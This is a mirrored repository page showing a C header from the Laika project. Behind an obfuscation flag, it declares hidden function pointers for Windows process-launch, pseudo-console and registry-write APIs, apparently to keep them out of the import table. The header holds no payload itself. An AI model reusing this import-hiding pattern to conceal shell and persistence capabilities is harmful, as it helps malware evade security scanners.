mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-23 05:10:09 +00:00
CPunch
3316c77667
- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h - LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well
46 lines
1.6 KiB
C
46 lines
1.6 KiB
C
#ifndef LAIKA_OBF_H
|
|
#define LAIKA_OBF_H
|
|
|
|
#include "laika.h"
|
|
|
|
#ifdef _WIN32
|
|
# include <process.h>
|
|
# include <windows.h>
|
|
|
|
#ifdef LAIKA_OBFUSCATE
|
|
/* WINAPI types */
|
|
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
|
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
|
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
|
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
|
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
|
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
|
|
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
|
|
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
|
|
|
extern _ShellExecuteA oShellExecuteA;
|
|
extern _CreatePseudoConsole oCreatePseudoConsole;
|
|
extern _ClosePseudoConsole oClosePseudoConsole;
|
|
extern _CreateProcessA oCreateProcessA;
|
|
extern _RegOpenKeyExA oRegOpenKeyExA;
|
|
extern _RegCloseKey oRegCloseKey;
|
|
extern _RegSetValueExA oRegSetValueExA;
|
|
extern _RegQueryValueExA oRegQueryValueExA;
|
|
#else
|
|
|
|
/* disabling obfuscation by macro magic :O */
|
|
#define oShellExecuteA ShellExecuteA
|
|
#define oCreatePseudoConsole CreatePseudoConsole
|
|
#define oClosePseudoConsole ClosePseudoConsole
|
|
#define oCreateProcessA CreateProcessA
|
|
#define oRegOpenKeyExA RegOpenKeyExA
|
|
#define oRegCloseKey RegCloseKey
|
|
#define oRegSetValueExA RegSetValueExA
|
|
#define oRegQueryValueExA RegQueryValueExA
|
|
|
|
#endif
|
|
#endif
|
|
|
|
void laikaO_init();
|
|
|
|
#endif |